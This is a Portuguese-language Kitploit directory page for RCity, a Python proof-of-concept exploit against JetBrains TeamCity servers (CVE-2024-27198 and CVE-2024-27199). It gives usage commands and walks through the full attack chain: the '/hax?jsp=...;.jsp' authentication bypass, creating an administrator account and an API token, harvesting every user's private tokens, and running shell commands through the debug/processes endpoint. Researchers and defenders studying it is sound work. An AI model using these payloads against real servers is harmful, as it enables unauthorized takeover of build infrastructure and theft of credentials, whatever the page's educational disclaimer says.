Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 e CVE-2024-27199 Prova de Conceito - Execução Remota de Código (RCE), Criação de Conta de Administrador, Enumeração de Usuários, Informações do Servidor | Kitploit
Ferramentas/GitHubGitHub/stuub/rcity-cve-2024-27198
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 e CVE-2024-27199 Prova de Conceito - Execução Remota de Código (RCE), Criação de Conta de Administrador, Enumeração de Usuários, Informações do Servidor

Ver Repositório
3635há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

RCity - CVE-2024-27198 (RCE & Criação de Conta Admin) & CVE-2024-27199 (Bypass de Autenticação)

Explorando CVE-2024-27198 & CVE-2024-27199

RCity é um script Python que interage com um servidor TeamCity vulnerável. A CVE facilita a criação não autorizada de contas de administrador, contornando os erros 403 no domínio. Enquanto também alcança RCE, através da rota Debug/Processes.

Uso

Para usar o script, você precisa fornecer a URL do servidor TeamCity alvo como um argumento de linha de comando com o argumento -t ou --target:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

Você pode aumentar a verbosidade da saída com a opção -v ou --verbose:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

Você pode enviar comandos de uma só vez diretamente através da opção -c ou --command, se quiser um shell interativo NÃO use esta opção. Não é amigável com shells reversos, pois a conexão fecha após o comando ser enviado:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

Você pode garantir que nenhuma requisição POST seja enviada ao servidor TeamCity usando a opção -s ou --stealth:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

Desabilita a função RCE - Todo o resto permanece igual

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

Impede que a lista de usuários seja coletada, pode ser demorado em listas de usuários maiores. Vá direto para o RCE com isso!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

Funcionalidades

  • Criação de Conta Admin
  • Execução Remota de Código
  • Geração de Tokens de Autorização
  • Enumeração de Usuários
  • Coleta de todos os Tokens Privados de Autenticação dos Usuários
  • Obtenção de Detalhes do Servidor

Exemplo

image

RCE

image

Geração de Token

image

Documentação

Aqui explicarei as funções usadas neste projeto, para esperançosamente dar a você uma melhor compreensão por trás deste exploit e das vulnerabilidades associadas a ele.

Contexto

A natureza da vulnerabilidade correlaciona ambas CVE-2024-27198 e 99 devido ao problema ser produzido pela mesma bypass de autenticação para rotas da API REST em servidores JetBrains TeamCity. No entanto, o impacto da referida vulnerabilidade é onde ocorre a troca, e fica interessante... CVE-2024-27198 sendo o verdadeiro peso pesado no papel, devido ao seu impacto divulgado de RCE, utiliza o endpoint /app/rest/debug/processes, SOMENTE com as permissões para fazer as requisições necessárias a este endpoint, através de um Token de Autenticação. Esta chamada a este endpoint difere entre hosts Unix e Windows, no entanto é manipulada de forma semelhante, a única diferença sendo o shell nativo que é provocado para uma requisição.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

Bypass de Autenticação

Agora, como mencionado anteriormente - isso não é possível sem autenticação, deveria ser seguro... certo? É aí que entra o Bypass de Autenticação.

Contornar a política da build do TeamCity abre a oportunidade de fazer requisições contra o servidor e colocar nosso Token de Autenticação lá, sem sequer precisar tecnicamente de nossa própria conta.

O bypass em si, é criar um caminho alternativo para rotas REST, que sem entrar em muitos detalhes, exige o controle de conteúdos em uma classe cujo trabalho é lidar com requisições, especificamente aquelas que não são 302 (redirecionamentos), o que então nos permite controlá-la anexando 3 partes necessárias à nossa URL.

  1. Um endpoint não autenticado que não disparará um 302, no nosso caso /hax
  2. Um parâmetro de consulta de URL chamado jsp para consultar as rotas da API, por exemplo, o caminho users ?jsp=/app/rest/users
  3. Um caminho de URI arbitrário que termina com .jsp. Isso pode ser alcançado anexando um segmento de parâmetro de caminho HTTP ;.jsp

Ou seja, o payload final para fazer requisições não autorizadas ao endpoint de usuários é: /hax?jsp=/app/rest/users;.jsp

Agora podemos fazer requisições contra o endpoint de usuários e adicionar nossos próprios usuários, até mesmo Administradores!

No entanto, antes de irmos para RCE, precisamos de um token de autenticação, como portador para nossas requisições RCE contra sua API REST. Sem problema agora que temos nosso bypass, vamos fazer um!

Geração de Token da API REST --> RCE

O endpoint do token estava seguindo a mesma árvore de caminho do exemplo anterior, pode ser encontrado em /app/rest/users/id:{user_id}/tokens/{token_name}. Então vamos criar outro payload para contornar a autenticação e criar um token!

(Nós fornecemos nosso próprio nome de token para isso, para este script é uma geração aleatória de caracteres alfanuméricos ascii).

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

Após fazer nossa requisição POST para adicionar nosso token ao nosso usuário recém-criado, podemos agora começar a fazer requisições contra a rota /app/rest/debug/processes!

Nada de especial sobre a criação de nossos payloads RCE, apenas codifique seus payloads em HTML no argumento params!

Feliz hacking!

Referências

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

Aviso Legal

Este script é apenas para fins educacionais. Use-o com responsabilidade e apenas em sistemas nos quais você tenha permissão para acessar.

Baixar ferramenta